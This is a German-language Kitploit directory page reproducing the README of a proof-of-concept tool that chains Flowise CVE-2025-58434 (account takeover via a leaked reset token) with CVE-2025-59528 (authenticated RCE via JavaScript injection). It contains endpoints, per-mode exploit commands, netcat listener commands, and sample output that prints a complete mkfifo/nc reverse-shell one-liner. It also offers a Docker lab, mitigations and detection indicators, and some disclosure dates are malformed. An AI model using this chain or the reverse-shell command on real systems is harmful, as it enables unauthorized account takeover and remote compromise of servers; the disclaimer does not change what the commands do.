Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Flowise-CVE-2025-58434-Chain-59528 — FlowiseAI CVE-2025-58434 & CVE-2025-59528 Exploit PoC, demonstriert unauthenticated ATO über Reset-Token-Lackage, gefolgt von authenticated RCE. Enthält eine reproduzierbare Docker-Laborumgebung. | Kitploit
Tools/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungLernen & BildungLabs & Praxis
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE-2025-58434 & CVE-2025-59528 Exploit PoC, demonstriert unauthenticated ATO über Reset-Token-Lackage, gefolgt von authenticated RCE. Enthält eine reproduzierbare Docker-Laborumgebung.

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

FlowiseAI CVE Chain – ATO (CVE-2025-58434) und RCE (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python License

⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Erlaubnis zum Testen haben, ist illegal.


Inhaltsverzeichnis

Dieses Repository enthält einen Python-Proof-of-Concept zur Verkettung von zwei Flowise-Sicherheitslücken:

  • CVE-2025-58434 – Kontenübernahme durch offengelegtes Passwort-Reset-Token-Verhalten.
  • CVE-2025-59528 – Remote-Code-Ausführung durch unsichere JavaScript-Auswertung im CustomMCP-Knoten.

Flowise ist eine Drag-and-Drop-Plattform zum Erstellen von LLM-Anwendungen und KI-Agenten-Workflows. CVE-2025-59528 betrifft Flowise 3.0.5 und wurde in 3.0.6 behoben. Das Problem entsteht durch unsichere Verarbeitung von mcpServerConfig im CustomMCP-Knoten. CVE-2025-58434 betrifft die Offenlegung von Passwort-Reset-Tokens und wurde ebenfalls in Flowise 3.0.6 behoben.

Das Tool unterstützt:

  • Sicherheitslückenprüfung
  • Kontenübernahme-Ablauf
  • Anmeldung und Cookie-Abruf
  • Authentifizierte RCE
  • Vollkettenmodus: ATO → Anmeldung → RCE

Details zu den Sicherheitslücken

CVE-2025-58434 – Kontenübernahme

  • CVE-ID: CVE-2025-58434
  • CVSS v3.1-Wert: 9.8 (Kritisch)
  • Sicherheitslückentyp: Kontenübernahme / Authentifizierungsumgehung
  • Betroffenes Produkt: Flowise
  • Getestete betroffene Version: Flowise 3.0.5
  • Behobene Version: Flowise 3.0.6
  • Erforderliche Authentifizierung: Nein
  • Auswirkung: Offenlegung von Passwort-Reset-Token, Kontenübernahme

Der anfällige Passwort-Reset-Ablauf legt vertrauliche Benutzerdaten, einschließlich temporärer Passwort-Reset-Token, in der API-Antwort offen. Ein Angreifer, der eine gültige Benutzer-E-Mail-Adresse kennt, kann einen Passwort-Reset anfordern, das temporäre Token aus der Antwort abrufen und es verwenden, um ein neues Passwort für das Konto festzulegen.

Das anfällige Verhalten betrifft Flowise Cloud und selbst gehostete/lokale Bereitstellungen, die dieselbe API-Oberfläche bereitstellen. Die Abhilfe besteht darin, niemals Passwort-Reset-Token oder vertrauliche Konten-Reset-Daten direkt in API-Antworten zurückzugeben.

CVE-2025-59528 – Remote-Code-Ausführung

  • CVE-ID: CVE-2025-59528
  • CVSS v3.1-Wert: 10.0 (Kritisch)
  • Sicherheitslückentyp: JavaScript-Code-Injection / Remote-Code-Ausführung
  • Betroffenes Produkt: Flowise
  • Getestete betroffene Version: Flowise 3.0.5
  • Behobene Version: Flowise 3.0.6
  • Erforderliche Authentifizierung: Ja
  • Auswirkung: Beliebige JavaScript-Ausführung in der Node.js-Laufzeitumgebung, RCE auf dem Server, der Flowise hostet

Die Sicherheitslücke existiert im CustomMCP-Knoten von Flowise. Der Parameter mcpServerConfig wird als Teil des MCP-Serverkonfigurationsprozesses geparst und ohne Sicherheitsüberprüfung als JavaScript-Code ausgewertet. Dies ermöglicht es einem authentifizierten Angreifer, beliebigen JavaScript-Code zu injizieren, der in der Node.js-Umgebung des Flowise-Servers ausgeführt wird. In der Funktion convertToValidJSONString wird die Benutzereingabe an den Function-Konstruktor übergeben, der die Eingabe als JavaScript-Code mit vollständigen Node.js-Berechtigungen auswertet und so Zugriff auf Module wie child_process zur Ausführung von Systembefehlen ermöglicht.

Der anfällige Endpunkt, der von diesem PoC verwendet wird, ist:

root@kitploit:~
POST /api/v1/node-load-method/customMCP

mit JS-Payload im Feld mcpServerConfig des JSON-Bodys, zum Beispiel:

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

Der anfällige Code befindet sich in der Datei CustomMCP.ts und wird im Github Maintainer Advisory für die CVE referenziert.


Attack Flow

root@kitploit:~
Attacker                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  user object + tempToken                 │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  password changed                        │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<crafted config>        │
   │─────────────────────────────────────────►│
   │                              JS evaluated in Node.js
   │                              command executed
   │◄─────────────────────────────────────────│
   │  command output or payload fired         │
   │                                          │
   ✓  Account takeover + authenticated RCE

Repository structure:

root@kitploit:~
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

Installation

Tool

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Docker-Labor

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configure environment variables
docker-compose up -d

Verwendung

Standardverhalten

Ohne Argumente führt das Tool die vollständige Angriffskette aus, überprüft die Ziel-Sicherheitslücke, führt eine Kontenübernahme für die angegebene E-Mail durch, meldet sich an, um Cookies abzurufen, und nutzt dann die RCE-Sicherheitslücke mit einem Reverse-Shell-Payload aus. Starten Sie einen dedizierten Listener (z.B. nc -lvnp 9889), bevor Sie das Tool im Vollkettenmodus ausführen.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

Hilfebildschirm

root@kitploit:~
python3 exploit.py -h

Modi

check-mode

Führt eine Versionsprüfung durch, um festzustellen, ob das Ziel für CVE-2025-58434 und CVE-2025-59528 anfällig ist. Es sendet eine Anfrage an die API des Ziels und analysiert die Antwort, um die Flowise-Version und den Sicherheitslückenstatus zu identifizieren.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

ato-mode

Führt den Kontenübernahmeprozess für CVE-2025-58434 aus. Es sendet eine Passwort-Reset-Anfrage für die angegebene E-Mail, ruft das temporäre Token aus der Antwort ab und verwendet dieses Token, um ein neues Passwort (Standard: „Password123!") für das Konto festzulegen.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

login-mode

Meldet sich mit der angegebenen E-Mail und dem Passwort (Standard: „Password123!") am Ziel an. Bei Erfolg werden die Authentifizierungs-Cookies (z.B. connect.sid) abgerufen und angezeigt, die für authentifizierte Anfragen verwendet werden können.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

rce-mode

Nutzt die RCE-Sicherheitslücke (CVE-2025-59528) aus, indem ein präparierter mcpServerConfig-Payload an den anfälligen Endpunkt gesendet wird. Der Payload ist darauf ausgelegt, einen Reverse-Shell-Befehl auszuführen, der eine Verbindung zum Rechner des Angreifers auf dem angegebenen LHOST und LPORT herstellt. Wenn kein Token angegeben wird, wird automatisch versucht, sich anzumelden und ein gültiges Token für die Ausnutzung abzurufen. Wenn kein LHOST/LPORT angegeben wird, wird standardmäßig ein einfacher id-Befehlspayload verwendet, der die Ausgabe in der Antwort zurückgibt. Starten Sie einen dedizierten Listener (z.B. nc -lvnp 9889), bevor Sie das Tool im Vollkettenmodus ausführen.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

full-chain-mode

Standardmodus. Führt die gesamte Angriffskette nacheinander aus: Überprüfung auf Sicherheitslücken, Durchführung der Kontenübernahme, Anmeldung zum Abrufen von Cookies und anschließende Ausnutzung der RCE-Sicherheitslücke mit dem Reverse-Shell-Payload. Starten Sie einen dedizierten Listener (z.B. nc -lvnp 9889), bevor Sie das Tool im Vollkettenmodus ausführen.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

Flag-Referenz

Ziel & Authentifizierung

FlagBeschreibungBeispiel
-t, --targetBasis-URL des Ziels-t http://localhost:3000
-e, --emailE-Mail des Zielkontos-e [email protected]
--passwordBekanntes Passwort für Login/RCE-Modus--password Password123!
--tokenVorhandenes Sitzungstoken, überspringt Login--token eyJ...
--new-passwordPasswort, das während der ATO gesetzt wird--new-password Password123!

Ausnutzungsmodi

ModusBeschreibung
checkPrüft, ob das Ziel anfällig erscheint
ato-modeNur den Kontenübernahme-Ablauf ausführen
login-modeAnmelden und Sitzungscookies abrufen
rce-modeNur den RCE-Ablauf ausführen
full-modeATO, Login und RCE verketten

RCE-Optionen

FlagBeschreibungBeispiel
-c, --commandBenutzerdefinierter Befehl-c 'id'
--lhostListener-Host für Reverse Shell--lhost 10.10.14.3
--lportListener-Port für Reverse Shell--lport 4444

Sicherheit & Ausgabe

FlagBeschreibungStandard
--no-checkVersions-/Sicherheitslückenprüfung überspringenFalse
-v, --verboseDebug-Logging aktivierenFalse
--log-filePfad zur Logdateilogs/exploit.log
--no-colorANSI-Farben deaktivierenFalse

Beispielausgabe

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email  : [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :

 🡪  ID             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  Name           : Lab Admin
 🡪  Email          : [email protected]
 🡪  Credential     : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  Status         : active
 🡪  Temp Token     : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  Token Expiry   : 2026-05-08T19:37:47.025Z

[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:

 🡪  Email          : [email protected]
 🡪  Password       : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :

 🡪  Token          : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!

[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP

[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
  ────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!

Docker-Labor

Ein lokales Labor wird für sicheres Testen empfohlen.

Installation des Labors:

root@kitploit:~
cp .env.example .env  # Configure environment variables as needed
docker compose up -d --build
docker compose logs -f

Standardmäßig werden zwei Flowise-Konten erstellt:

  • Admin: E-Mail ist [email protected], das Passwort wird beim Containerstart zufällig generiert (überprüfen Sie die Logs auf das Passwort).
  • Benutzer: E-Mail ist [email protected], das Passwort wird beim Containerstart zufällig generiert, erscheint aber nicht in den Logs. Dies ist das beabsichtigte Ziel für den ATO-Ablauf.

Führen Sie den PoC gegen die lokale Instanz aus:

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

Um Flowise-Logs zu überprüfen:

root@kitploit:~
docker compose logs -f flowise-cve-lab

oder:

root@kitploit:~
docker logs -f flowise-cve-lab

Abhilfemaßnahmen

Allgemeine Empfehlungen

Gegen CVE-2025-58434

  • Aktualisieren Sie Flowise auf Version 3.0.6 oder höher.
  • Geben Sie niemals Passwort-Reset-Token in API-Antworten zurück.
  • Liefern Sie Reset-Token nur über den registrierten E-Mail-Kanal aus.
  • Ungültigmachen von Reset-Token nach einmaliger Verwendung.
  • Fügen Sie strenge Ablaufzeiten und Ratenbegrenzungen für Passwort-Reset-Endpunkte hinzu.

Gegen CVE-2025-59528

  • Aktualisieren Sie Flowise auf Version 3.0.6 oder höher.
  • Vermeiden Sie die Auswertung von benutzergesteuerter Konfiguration als JavaScript.
  • Entfernen Sie unsichere Function-, eval- oder gleichwertige dynamische Ausführungsmuster.
  • Validieren und parsen Sie die MCP-Konfiguration als strenge Daten, nicht als ausführbaren Code.

Erkennungsideen

Potenzielle Indikatoren für eine Ausnutzung:

  • Anfragen an /api/v1/node-load-method/customMCP
  • Verdächtige mcpServerConfig-Werte, die JavaScript-ähnliche Syntax enthalten.
  • Zeichenfolgen wie: process.mainModule, child_process, execSync, Buffer.from, Function
  • Passwort-Reset-Anfragen, gefolgt von sofortiger Anmeldung und CustomMCP-Zugriff.
  • Ausgehende Verbindungen vom Flowise-Container oder -Host.

Offenlegungszeitplan

  • 2025-12-09: CVE-2025-58434 wird von den Benutzern zaddy6 und arthurgervais auf Github Advisories mit einem detaillierten Bericht und PoC offengelegt.
  • 2025-13-09: CVE-2025-59528 wird vom Benutzer im-soohyun auf Github Advisories mit einem detaillierten Bericht und PoC offengelegt.
  • 2025-15-09: Beide CVEs werden in Flowise 3.0.6 behoben, veröffentlicht auf Github.

Haftungsausschluss

Dieses Projekt wird ausschließlich zu Bildungszwecken, für Labortests und autorisierte Sicherheitsforschung bereitgestellt.

Sie sind dafür verantwortlich, sicherzustellen, dass Sie vor der Ausführung dieses Tools gegen ein System eine ausdrückliche Genehmigung haben. Der Autor ist nicht verantwortlich für Missbrauch, Schäden oder illegale Aktivitäten, die mit diesem Code durchgeführt werden. Befolgen Sie stets ethische Richtlinien und gesetzliche Anforderungen bei der Durchführung von Sicherheitstests.


Referenzen

  • CVE-2025-58434
  • CVE-2025-59528
  • Flowise GitHub-Repository
  • Flowise Maintainer Advisory für CVE-2025-58434
  • Flowise Maintainer Advisory für CVE-2025-59528
  • Flowise 3.0.6 Versionshinweise
Tool herunterladen